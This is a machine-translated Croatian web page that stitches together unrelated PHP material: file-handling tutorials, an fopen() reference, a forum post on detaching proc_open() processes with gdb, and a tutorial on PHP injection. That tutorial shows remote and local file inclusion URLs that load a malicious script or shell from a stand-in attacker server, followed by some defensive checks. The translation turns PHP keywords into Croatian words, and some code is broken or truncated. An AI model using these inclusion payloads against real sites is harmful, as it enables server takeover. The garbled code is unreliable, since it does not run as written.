Blokira li PHP proc_open web zahtjev? Otvaranje datoteka i vanjskih podataka. Potencijalna ranjivost PHP skripti Provjera dnevnika zahtjeva

U ovom poglavlju ćemo vas naučiti kako otvoriti, pročitati i zatvoriti datoteku na poslužitelju.

PHP Otvaranje datoteke - fopen()

Bolji način otvaranja datoteka je funkcija fopen(). Ova vam funkcija daje više opcija od funkcije readfile().

Tijekom lekcija koristit ćemo tekstualnu datoteku, "webdictionary.txt":

AJAX = Asinkroni JavaScript i XML
CSS = Cascading Style Sheets
HTML = Hyper Text Markup Language
PHP = PHP pretprocesor hiperteksta
SQL = Structured Query Language
SVG = skalabilna vektorska grafika
XML = Extensible Markup Language

Prvi parametar funkcije fopen() sadrži naziv datoteke koju treba otvoriti, a drugi parametar određuje u kojem načinu se datoteka treba otvoriti. Sljedeći primjer također generira poruku ako funkcija fopen() ne može otvoriti navedenu datoteku:

Primjer


echo fread($myfile,filesize("webdictionary.txt"));
fclose($myfile);
?>

Pokreni primjer »

Savjet: Funkcije fread() i fclose() bit će objašnjene u nastavku.

Datoteka se može otvoriti u jednom od sljedećih načina:

Načini rada Opis
r Otvorite datoteku samo za čitanje
w Otvorite datoteku samo za pisanje
a Otvorite datoteku samo za pisanje
x Stvara novu datoteku samo za pisanje
r+ Otvorite datoteku za čitanje/pisanje. Pokazivač datoteke počinje na početku datoteke
w+ Otvorite datoteku za čitanje/pisanje. Briše sadržaj datoteke ili stvara novu datoteku ako ne postoji, pokazivač datoteke počinje na početku datoteke
a+ Otvorite datoteku za čitanje/pisanje. Postojeći podaci u datoteci su sačuvani. Pokazivač datoteke počinje na kraju datoteke. Stvara novu datoteku ako datoteka ne postoji
x+ Stvara novu datoteku za čitanje/pisanje. Vraća FALSE i pogrešku ako datoteka već postoji

PHP čita datoteku - fread()

Funkcija fread() čita iz otvorene datoteke.

Prvi parametar fread() sadrži naziv datoteke iz koje se čita, a drugi parametar navodi maksimalan broj bajtova za čitanje.

Sljedeći PHP kod čita datoteku "webdictionary.txt" do kraja:

Fread($myfile,filesize("webdictionary.txt"));

PHP Zatvori datoteku - fclose()

Funkcija fclose() koristi se za zatvaranje otvorene datoteke.

Dobra je programska praksa zatvoriti sve datoteke nakon što ste završili s njima. Ne želite da otvorena datoteka radi okolo na vašem poslužitelju i zauzima resurse!

Funkcija fclose() zahtijeva naziv datoteke (ili varijablu koja sadrži naziv datoteke) koju želimo zatvoriti:

$myfile = fopen("webdictionary.txt", "r");
// neki kod koji treba izvršiti....
fclose($myfile);
?>

PHP čita jedan redak - fgets()

Funkcija fgets() koristi se za čitanje jednog retka iz datoteke.

Primjer u nastavku daje prvi redak datoteke "webdictionary.txt":

Bilješka: Nakon poziva funkcije fgets(), pokazivač datoteke se pomaknuo u sljedeći redak.

PHP provjera kraja datoteke - feof()

Funkcija feof() provjerava je li dostignut "kraj datoteke" (EOF).

Funkcija feof() korisna je za kretanje kroz podatke nepoznate duljine.

Primjer u nastavku čita datoteku "webdictionary.txt" redak po redak, dok se ne dosegne kraj datoteke:

Primjer

$myfile = fopen("webdictionary.txt", "r") or die("Nije moguće otvoriti datoteku!");
// Izlaz jedan redak do kraja datoteke
dok(!feof($myfile)) (
echo fgets($myfile) . "
";
}
fclose($myfile);
?>

Pokreni primjer »

PHP čitanje jednog znaka - fgetc()

Funkcija fgetc() koristi se za čitanje jednog znaka iz datoteke.

Primjer u nastavku čita datoteku "webdictionary.txt" znak po znak, sve dok se ne dosegne kraj datoteke:

Primjer

$myfile = fopen("webdictionary.txt", "r") or die("Nije moguće otvoriti datoteku!");
// Ispis jednog znaka do kraja datoteke
dok(!feof($myfile)) (
echo fgetc($myfile);
}
fclose($myfile);
?>

Pokreni primjer »

Bilješka: Nakon poziva funkcije fgetc(), pokazivač datoteke pomiče se na sljedeći znak.

Kompletna referenca PHP datotečnog sustava

Za potpunu referencu funkcija datotečnog sustava idite na naš kompletan

(PHP 4, PHP 5, PHP 7)

fopen - Otvara datoteku ili URL

Opis

Resurs fopen (niz $ime datoteke , string $mode [, bool $use_include_path = false [, resurs $kontekst ]])

fopen() dodjeljuje imenovani resurs naveden u argumentu naziva datoteke toku.

Popis parametara

Ako je naziv datoteke proslijeđen u obliku "scheme://...", smatra se URL-om i PHP će tražiti rukovatelja protokolom (također poznat kao "omot") za tu shemu ako omot nije dodijeljen protokola, PHP će izdati upozorenje kako bi vam pomogao pronaći potencijalni problem u vašoj skripti i zatim nastaviti s izvođenjem kao da naziv datoteke upućuje na običnu datoteku.

Ako je PHP instaliran, taj naziv datoteke upućuje na lokalna datoteka, zatim se pokušava otvoriti tok ove datoteke. Datoteci mora biti dostupan PHP, pa biste trebali provjeriti dopuštaju li to dozvole za datoteku. Ako ste omogućili sigurni način rada ili open_basedir, tada se primjenjuju dodatna ograničenja.

Ako PHP utvrdi da naziv datoteke upućuje na registrirani protokol, a taj je protokol registriran kao mrežni URL, PHP provjerava stanje direktive allow_url_fopen. Ako je onemogućen, PHP će izdati upozorenje i fopen poziv neće uspjeti.

Komentar:

Popis podržanih protokola dostupan je u odjeljku Podržani protokoli i omoti. Neki protokoli ( omoti) podrška kontekst i/ili opcije php.ini. Pogledajte stranicu odgovarajućeg protokola za popis opcija koje se mogu postaviti. (na primjer php.ini vrijednost korisnički agent koristi omotač http).

Na Windows platformi morate izbjeći sve obrnute kose crte u putu datoteke ili koristiti kose crte.

$handle = fopen("c:\\folder\\resource.txt" , "r" );
?>

Parametar načina specificira vrstu pristupa koju tražite od niti. To može biti jedna od sljedećih opcija:

Popis mogućih načina za fopen() koristeći način rada
način rada Opis
"r" Otvara datoteku samo za čitanje; postavlja pokazivač na početak datoteke.
"r+" Otvara datoteku za čitanje i pisanje; postavlja pokazivač na početak datoteke.
"w" Otvara datoteku samo za pisanje; postavlja pokazivač na početak datoteke i skraćuje datoteku na nultu duljinu. Ako datoteka ne postoji, pokušava je stvoriti.
"w+" Otvara datoteku za čitanje i pisanje; postavlja pokazivač na početak datoteke i skraćuje datoteku na nultu duljinu. Ako datoteka ne postoji, pokušava je stvoriti.
"a" Otvara datoteku samo za pisanje; postavlja pokazivač na kraj datoteke. Ako datoteka ne postoji, pokušava je stvoriti.
"a+" Otvara datoteku za čitanje i pisanje; postavlja pokazivač na kraj datoteke. Ako datoteka ne postoji, pokušava je stvoriti.
"x" Stvara i otvara samo za pisanje; postavlja pokazivač na početak datoteke. Ako datoteka već postoji, nazovite fopen() završi neuspjehom, vratit će se NETOČNO i dat će pogrešku razine E_UPOZORENJE. Ako datoteka ne postoji, pokušat će je stvoriti. Ovo je ekvivalentno određivanju zastavica O_EXCL|O_CREAT za unutarnje sistemski poziv otvoriti (2).
"x+" Stvara i otvara za čitanje i pisanje; inače ima isto ponašanje kao "x".
"c" Otvara datoteku samo za pisanje. Ako datoteka ne postoji, kreira se. Ako datoteka postoji, tada nije skraćena (za razliku od "w"), a pozivanje ove funkcije ne uzrokuje pogrešku (kao što je slučaj s "x"). Pokazivač datoteke bit će postavljen na početak datoteke. Ovo može biti korisno ako želite zaključati datoteku (pogledajte stado()) prije promjene, od upotrebe "w" može skratiti datoteku prije nego što se zaključa (ako želite skratiti datoteku, možete koristiti funkciju ftruncate() nakon zahtjeva za blokiranje).
"c+" Otvara datoteku za čitanje i pisanje; inače ima isto ponašanje kao "c".

Komentar:

Različite obitelji operativnih sustava imaju različite konvencije u vezi s završecima redaka. Kada pišete tekst i želite umetnuti prijelom retka, morate koristiti ispravne znakove (ili simbole) za svoj operativni sustav. Korištenje obiteljskih sustava Unix \n sustavi obitelji Windows koriste kao znak za kraj retka \r\n kao završni znakovi retka i Macintosh sustavi koriste \r kao znak za kraj retka.

Ako prilikom uređivanja datoteka koristite pogrešan znak za završetak retka, te datoteke mogu izgledati "čudno" kada ih otvorite.

Windows nudi oznaku načina emitiranja teksta ( "t"), koji će se automatski prevesti \n V \r\n tijekom rada s datotekom. I obrnuto - također možete koristiti "b" za forsiranje binarnog načina rada, koji neće pretvoriti vaše podatke. Za korištenje ovih načina, navedite "b" ili "t" posljednje slovo parametra moda.

Budući da zadana postavka oznake prijevoda ovisi o SAPI i PHP verziji koja se koristi, preporučujemo da izričito postavite navedenu oznaku zbog prenosivosti. Morate koristiti način "t" ako radite sa tekstualna datoteka i koristiti \n za označavanje kraja retka u vašoj skripti bez brige o čitljivosti vaših datoteka u drugim aplikacijama poput Notepada. U svim ostalim slučajevima koristite zastavu "b".

Ako eksplicitno ne navedete oznaku "b" kada radite s binarnim datotekama, mogli biste doživjeti čudno oštećenje podataka, uključujući oštećene slikovne datoteke i probleme s čudnim simbolima \r\n.

Komentar:

Zbog prenosivosti, snažno se preporučuje da uvijek koristite oznaku "b" kada otvarate datoteke s fopen() .

Komentar:

Osim toga, zbog prenosivosti, također se snažno preporučuje ponovno pisanje naslijeđenog koda koji se oslanja na "t" tako da umjesto toga koristi ispravne završetke redaka i način "b".

use_include_path

Neobavezni treći parametar use_include_path može se postaviti na "1" ili PRAVI ako također želite tražiti datoteku u include_path.

Kontekst

Komentar: Podrška za kontekst dodana je u PHP 5.0.0. Za opis kontekstima pogledajte odjeljak Streams.

Povratne vrijednosti

Vraća pokazivač na datoteku ako je uspješno, ili NETOČNO u slučaju greške.

Greške

Ako se datoteka ne može otvoriti, generirat će se pogreška razine E_UPOZORENJE. Možete koristiti operator za uklanjanje ove pogreške.

Popis promjena

Primjeri

Primjer #1 Primjeri upotrebe fopen()

$handle = fopen("/home/rasmus/file.txt" , "r" );
$handle = fopen ("/home/rasmus/file.gif" , "wb" );
$handle = fopen("http://www.example.com/", "r");
$handle = fopen ( "ftp://korisnik: [e-mail zaštićen]/neka datoteka.txt", "w" );
?>

Bilješke

Pažnja

Kada koristi SSL, Microsoft IIS prekida protokol zatvaranjem veze bez slanja indikatora zatvori_obavijestiti. PHP će to prijaviti kao "SSL: Fatal Protocol Error" u trenutku kada dođete do kraja podataka. Da biste to izbjegli, trebali biste postaviti error_reporting na razinu koja isključuje E_WARNING. PHP verzije 4.3.7 i starije mogu otkriti da postoji problematičan IIS na strani poslužitelja prilikom otvaranja streama pomoću omotača https:// i ne prikazuje upozorenje. Ako koristite fsockopen() za stvaranje ssl:// utičnicu, vaša je odgovornost otkriti i potisnuti ovo upozorenje.

Komentar: Kada je omogućena opcija sigurnog načina rada, PHP provjerava ima li direktorij s kojim ćete raditi isti UID (vlasnik) kao skripta koja se izvršava.

Komentar:

Ako naiđete na probleme tijekom čitanja ili pisanja datoteka, a koristite PHP kao poslužiteljski modul, provjerite ima li poslužiteljski proces pristup datotekama i direktorijima koje koristite.

Komentar:

Ova funkcija također može uspjeti ako je naziv datoteke direktorij. Ako niste sigurni je li naziv datoteke datoteka ili direktorij, trebate upotrijebiti funkciju je_dir(), prije poziva fopen() .

Imao sam malo vremena preko vikenda pa sam malo istražio o proc_open() na *nix sustavima.

Iako proc_open() ne blokira izvršavanje PHP skripte čak i ako se skripta ljuske ne izvodi u pozadina. PHP automatski poziva proc_close() nakon PHP skripta potpuno se izvršava ako ga ne pozovete. Dakle, možemo zamisliti da uvijek imamo liniju s proc_close() na kraju skripte.

Problem leži u neočitom, ali logičnom prototipu proc_close(). Recimo da imamo skriptu poput:

$proc = proc_open("top -b -n 10000", array(array("pipe", "r"), array("pipe", "w")), $pipes); //Obradi neke podatke koje ispisuje naša skripta, ali ne sve podatke echo fread($pipes,100); //Nemojte čekati da se završi izvršavanje scipta - izlaz //zatvaranje cijevi array_map("fclose",$pipes); //zatvaranje procesa proc_close($proc);

Čudno, proc_close() čeka dok se skripta ljuske ne završi, ali naša skripta je prekinuta ubrzo nakon toga. To se događa jer smo zatvorili cijevi (čini se da PHP to radi tiho, u slučaju da smo zaboravili), budući da ova skripta pokušava napisati nešto u cijevi koja više ne postoji - dobiva pogrešku i izlazi.

Sada pokušajmo bez cijevi (dobro, hoće, ali će koristiti trenutni tty bez veze na PHP):

$proc = proc_open("top -b -n 10000", array(), $pipes); proc_close($proc);

Sada naša PHP skripta čeka da završi skripta ljuske. Možemo li to izbjeći? Srećom, PHP generira skripte ljuske pomoću

Sh -c "shell_script"

tako da možemo jednostavno ubiti sh proces i ostaviti našu skriptu da radi:

$proc = proc_open("top -b -n 10000", array(), $pipes); $proc_status=proc_get_status($proc); exec("kill -9 ".$proc_status["pid"]); proc_close($proc);

Naravno, mogli bismo pokrenuti ovaj proces u pozadini, ovako:

$proc = proc_open("top -b -n 10000 &", array(), $pipes); proc_close($proc);

i nema nikakvih problema, ali ova nas funkcija dovodi do najtežeg pitanja: možemo li započeti proces s proc_open(), pročitati neki izlaz, a zatim ponovno forsirati proces? Pa, na neki način, da.

Glavni problem ovdje su cijevi: ne možemo ih zatvoriti ili će naš proces umrijeti, ali trebaju nam za čitanje korisnih podataka iz tog procesa. Ispostavilo se da ovdje možemo upotrijebiti čarobni trik - gdb.

Najprije negdje stvorite datoteku (/usr/share/gdb_null_descr u mom primjeru) sa sljedećim sadržajem:

P dup2(otvori("/dev/null",0),1) p dup2(otvori("/dev/null",0),2)

Reći će gdb-u da promijeni deskriptore 1 i 2 (dobro, obično stdout i stderr) u nove rukovatelje datotekama (/dev/null u ovom primjeru, ali možete ga promijeniti).

Sada, zadnja stvar: provjerite može li se gdb povezati s drugim pokrenutim procesima - ovo se primjenjuje prema zadanim postavkama na nekim sustavima, ali na primjer na ubuntu 10.10 trebate postaviti /proc/sys/kernel/yama/ptrace _scope na 0 ako ne nemoj ga pokrenuti kao root.

$proc = proc_open("top -b -n 10000", array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w")), $cijevi); //Obradi neke podatke koje ispisuje naša skripta, ali ne sve podatke echo fread($pipes,100); $proc_status=proc_get_status($proc); //Pronađi pravi pid našeg procesa (moramo se spustiti jedan korak u stablu procesa) $pid=trim(exec("ps h -o pid --ppid ".$proc_status["pid"])); //Ukini nadređeni sh proces exec("kill -s 9 ".$proc_status["pid"]); //Promjena stdin/stdout rukovatelja u našem procesu exec("gdb -p ".$pid." --batch -x /usr/share/gdb_null_descr"); array_map("fclose",$pipes); proc_close($proc);

edit: Zaboravio sam spomenuti da PHP ne pokreće vašu shell skriptu odmah, tako da morate malo pričekati prije izvršavanja drugih shell naredbi, ali to je obično dovoljno brzo (ili je PHP dovoljno spor), a ja sam previše lijen da dodam te provjere mojim primjerima.

Osnove PHP injekcije za početnike.​


PHP injekcija(eng. PHP injection) - oko Jedan od načina hakiranja web stranica koje rade na PHP-u je izvođenje strani kod na strani poslužitelja. Potencijalno opasne funkcije su:
eval(),
preg_replace() (s modifikatorom "e"),
zahtijevaj_jednom(),
uključi_jednom(),
uključi(),
zahtijevati(),
stvoriti_funkciju().

PHP ubrizgavanje postaje moguće ako se ulazni parametri prihvate i koriste bez provjere valjanosti.

Kliknite za proširenje...

(c) Wiki


Osnove.​

Php injekcija- ovo je oblik napada na web stranicu kada napadač ubaci svoj PHP kod u napadnutu PHP aplikaciju.
Ako je ubrizgavanje uspješno, napadač može izvršiti proizvoljan (potencijalno opasan) PHP kod na ciljnom poslužitelju. Na primjer, ispunite školjku. Ali prvo, raspravimo detaljno kako se to događa.

Na primjer:
Zamislimo da imamo web stranicu napisanu u PHP-u.
Zamislimo također da web mjesto koristi naredbu stranica=stranica.html za prikaz tražene stranice.
Kod će izgledati ovako:

$file = $_GET ["stranica"]; //Prikazana stranica
uključi($datoteka);
?>

To znači da će sve prikazano na stranici biti ugrađeno u PHP kod te stranice. Stoga bi napadač mogao učiniti nešto poput:

http: //www.attacked_site.com/index.php?page=http://www.attacked_server.com/malicious_script.txt?

Ako pogledamo što se događa nakon izvršenja uključivanja, vidjet ćemo sljedeći kod koji se izvodi na ciljnom poslužitelju:

$datoteka = "http://www.attack_server.com/malicious_script.txt?"; //$_GET["stranica"];
uključi($datoteka); //$file je skripta koju je ubacio napadač
?>

Vidimo da je napadač uspješno napao ciljni poslužitelj.

Više detalja:
Dakle, zašto je napadač mogao izvesti PHP injekciju?
Sve zbog funkcije uključi() omogućuje vam pokretanje udaljenih datoteka.

Zašto je skripta s ekstenzijom navedena u primjeru *.txt , ali ne *.php ?
Odgovor je jednostavan, kad bi skripta imala format *.php , pokrenuo bi se na poslužitelju napadača, a ne na ciljnom sustavu.

Dodan je i simbol " ? " u umetnutu stazu skripte kako biste uklonili bilo što unutar funkcije uključi() na ciljnom poslužitelju.
Primjer:

$file = $_GET ["stranica"];
uključi($file . ".php" );
?>

Ova skripta dodaje proširenje *.php na bilo što pozvano naredbom uključi() .
Oni.

http: //www.attack_server.com/malicious_script.txt

Preobraziti se u

http: //www.attack_server.com/malicious_script.txt.php

Skripta se neće pokrenuti s ovim imenom (datoteka ne postoji na poslužitelju napadača /malicious_script.txt.php)
Zato dodajemo "?" do kraja puta do zlonamjerne skripte:

http: //www.attack_server.com/malicious_script.txt?.php

Ali ostaje izvršna.

Provođenje PHP injekcija kroz ranjivost funkcije include().​

RFI - daljinsko uključivanje tijekom PHP injekcije.​


Sposobnost provođenja RFI je prilično česta greška u motorima.
Možete ga pronaći na sljedeći način:
Recimo da smo slučajno naišli na stranicu, adresna traka preglednik koji završava ovako:

/indeks. php? stranica = glavna

Mi umjesto toga zamjenjujemo glavni bilo koje zabludno značenje, na primjer upyachka

/indeks. php? stranica = upyachka

Kao odgovor ćemo dobiti grešku:

Upozorenje: glavno (upyachka. php): nije uspjelo otvaranje streama: Nema takve datoteke ili direktorija u / home / user / www //page.php na retku 3

Upozorenje: glavno (upyachka. php): nije uspjelo otvaranje toka: Nema takve datoteke ili direktorija u / home / user / www / stranici. php na liniji 3

Upozorenje: glavno (): Neuspješno otvaranje "upyachka.php" za uključivanje (include_path = ".:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear") u /home/user/www/page. php na liniji 3

To nam pokazuje da je uključivanje izvedivo.
Pokušajmo zamijeniti upyachka web mjesto sa stazom do ljuske (ekstenzija datoteke ljuske ne bi trebala biti navedena ili ju označiti kao što je gore opisano)

http: //www.attacked_server.com/index.php?file=http://www.attack_site.com/shell

Tako se dobije ljuska. Sada trebate obavijestiti administratora stranice o ranjivosti kako bi je mogao popraviti kako zli momci ne bi iskoristili grešku.

LFI - lokalno uključivanje za PHP injekciju.​


Zamislimo da smo naišli na isto ranjivo mjesto

/indeks. php? datoteka=glavna

Sa šifrom

..
Uključi ("mapa/ $stranica .htm" );

?>

Ovo je već lokalno uključivanje. U ovoj situaciji moguće je samo ispisivanje datoteka:

/indeks. php? stranica =../ indeks . php

U sljedeći slučaj kod izgleda ovako:

..
Include("$dir1/folder/page.php");

?>

U ovom slučaju možete napisati stazu do ljuske na sljedeći način:
Stvorite mapu mapa na web stranici gdje je pohranjena ljuska, ispustite ljusku u ovu mapu:

http: //www.attack_site.com/folder/shell.php

Injekcija će u ovom slučaju izgledati ovako:

indeks. php? dir1 = http: //www.site_attacker.com/

Metode zaštite


Pogledajmo skriptu:

...

uključiti $modul. ".php" ;
...
?>

Ova skripta je ranjiva jer sadržaj varijable $modul upravo dodano *.php i datoteka se pokreće pomoću rezultirajuće staze.

Postoji nekoliko načina zaštite od takvog napada:


-Provjerite sadrži li varijabla $module suvišne znakove:

...
$modul = $_GET ["modul" ];
if (strpbrk ($module , ".?/:" )) die("Blokirano" );
uključiti $modul. ".php" ;
...
?>

- Provjerite je li $module dodijeljena jedna od valjanih vrijednosti:
"/" , "" , $stranica ); // Mogućnost pomicanja u druge direktorije je blokirana.
if (file_exists ("datoteke/ $stranica .htm " ))
{
Uključi("datoteke/$stranica.htm" );
}
Drugo
{
Jeka
"greška";
}

?>

PHP također nudi mogućnost onemogućavanja korištenja izbrisane datoteke, ovo se provodi promjenom vrijednosti opcije allow_url_fopen na Off u konfiguracijskoj datoteci php.ini.

Opisana ranjivost predstavlja visoku opasnost za stranicu i autori PHP skripti ne bi trebali zaboraviti na nju.

Prilikom pisanja materijali iz
Wikipedia,
sa stranog foruma security-sh3ll (spl0it),
s Antichat foruma (GreenBear).
Posebna zahvala za Burt I f02 za tvoju pomoć,
podrška i dobra kritika)

16,5 tisuća

Zapravo, kako otvoriti php datoteku nije veliki problem. Može biti teže otvoriti bocu piva kada ste usred šume. Ali samo strastveni programeri razmišljaju na ovaj način. A za početnike ćemo vam reći o svim mogućnostima PHP-a za rad s datotekama:

php datoteke

Datoteke sa php proširenje sadrže kod napisan u istoimenom programskom jeziku. Za razliku od drugih jezika, php je programski jezik na strani poslužitelja. Odnosno, radi na strani poslužitelja. Stoga, za otklanjanje pogrešaka koda, lokalni poslužitelj mora biti instaliran na klijentskom računalu.

Za rad s php datotekama koristite posebne aplikacije– uređivači softvera. Najčešći su:

  • Dreamweaver.
  • PHPEdit.
  • Eclipse PHP razvoj.
Prilikom izrade web stranica na temeljen na php-u Možda će biti potrebna ponovna uporaba programskog koda. U takvim situacijama prikladno je već se povezati gotova rješenja nalazi u drugoj datoteci. Za to se koristi konstrukcija uključivanja. Njegova sintaksa je:

uključiti naziv datoteke

Primjer povezivanja:

Uključena datoteka:


Uključivanje datoteke također je moguće korištenjem zahtijevane konstrukcije. Za razliku od include, uključuje datoteku prije nego što se programski kod izvrši. Korištenjem zahtjeva u kodu, moguć je samo jedan poziv ove datoteke. Kada mu se ponovno pristupi, sustav će prikazati globalnu poruku o pogrešci i zaustaviti izvođenje programa.

Include konstrukcija uključuje samo izvor tijekom izvođenja programa. Podržava višestruko čitanje php datoteke. Ako dođe do pogreške, prikazat će se samo poruka upozorenja, a izvršavanje koda će se nastaviti od sljedećeg retka.

Otvaranje i zatvaranje datoteka

U php-u sve operacije s datotekama provode se u nekoliko faza:

  • Otvaranje datoteke;
  • Uređivanje sadržaja;
  • Zatvaranje datoteke.

Funkcija fopen() koristi se za otvaranje datoteke. Njegova sintaksa je:

int fopen(string naziv datoteke, string mod [, int use_include_path])

Prihvaćeni argumenti:

  • string naziv datoteke – naziv datoteke ili apsolutni put do nje. Ako put do datoteke nije naveden, ona će se pretraživati ​​u trenutnom direktoriju. Ako datoteka koju tražite nedostaje, sustav će prikazati poruku o pogrešci. Primjer:

  • način stringa – označava način otvaranja datoteke. Vrijednosti koje prihvaća argument:
  • r – datoteka se otvara samo za čitanje, pokazivač datoteke se postavlja na početak;
  • r+ – datoteka je otvorena za čitanje i pisanje;
  • w – stvoreno nova datoteka samo za potrebe snimanja. Ako datoteka s istim nazivom već postoji, bit će automatsko uklanjanje svi podaci;
  • w+ - stvara novu datoteku za pisanje i čitanje. Kada takva datoteka postoji, njezini su podaci potpuno prebrisani novima;
  • a – datoteka je otvorena za pisanje. Pokazivač je postavljen na kraj. Odnosno ulazak u php datoteka neće započeti od početka, nego od kraja;
  • a+ – otvorite datoteku u načinu čitanja i pisanja. Snimanje će početi od kraja;
  • b – način rada s datotekom koja sadrži binarne podatke (in binarni sustav račun). Ovaj način je dostupan samo u operacijski sustav Windows.

Za zatvaranje pristupa datoteci koristite funkciju fclose(). Sintaksa:

int fclose (int datoteka) , gdje je int datoteka ručka za mjesto koje treba zatvoriti.

Nakon svakog čitanja ili pisanja, datoteka se mora zatvoriti ovom funkcijom. Inače, tok stvoren za datoteku ostaje otvoren. A to dovodi do nepotrebne potrošnje kapaciteta poslužitelja.

Primjer:

Čitanje i pisanje datoteka

Za jednostavno prikazivanje cijelog sadržaja datoteke idealna je funkcija readfile(). Njegova sintaksa je:

readfile (string filename) , gdje je string filename naziv datoteke niza (ne oznaka).


Ista se datoteka može pročitati pomoću funkcije fpassthru(). Čita podatke od krajnjeg položaja pokazivača do kraja datoteke. Njegova sintaksa je:

int fpassthru (int datoteka)

Funkcija zahtijeva otvaranje i zatvaranje datoteke. Primjer:

Rezultat je sličan prethodnom.

Funkcije za rad s datotekama u php-u omogućuju čitanje sadržaja red po red i znak po znak:

  • string fgets (int datoteka, int duljina)– funkcija čita niz duljine length . Primjer:

  • string fread (int datoteka, int duljina)– radnja je identična prethodnoj.

Za pisanje tekstualnih podataka u datoteku postoje dvije identične funkcije:

  • int fputs (int datoteka, string string [, int duljina ])
  • int fwrite(int datoteka, string string [, int duljina ])

Funkcije pišu u datoteku int file string string navedene duljine int length ( izborni argument). Primjer:

Stvaranje i brisanje datoteka

Za izradu php datoteke možete koristiti funkciju fopen() u načinu pristupa "w" ili "w+". Ili funkcija touch(). Postavlja vrijeme izmjene datoteke. Ako ne postoji element s traženim nazivom, on će biti kreiran. Njegova sintaksa.



2024 wisemotors.ru. Kako radi. Željezo. Rudarstvo. Kriptovaluta.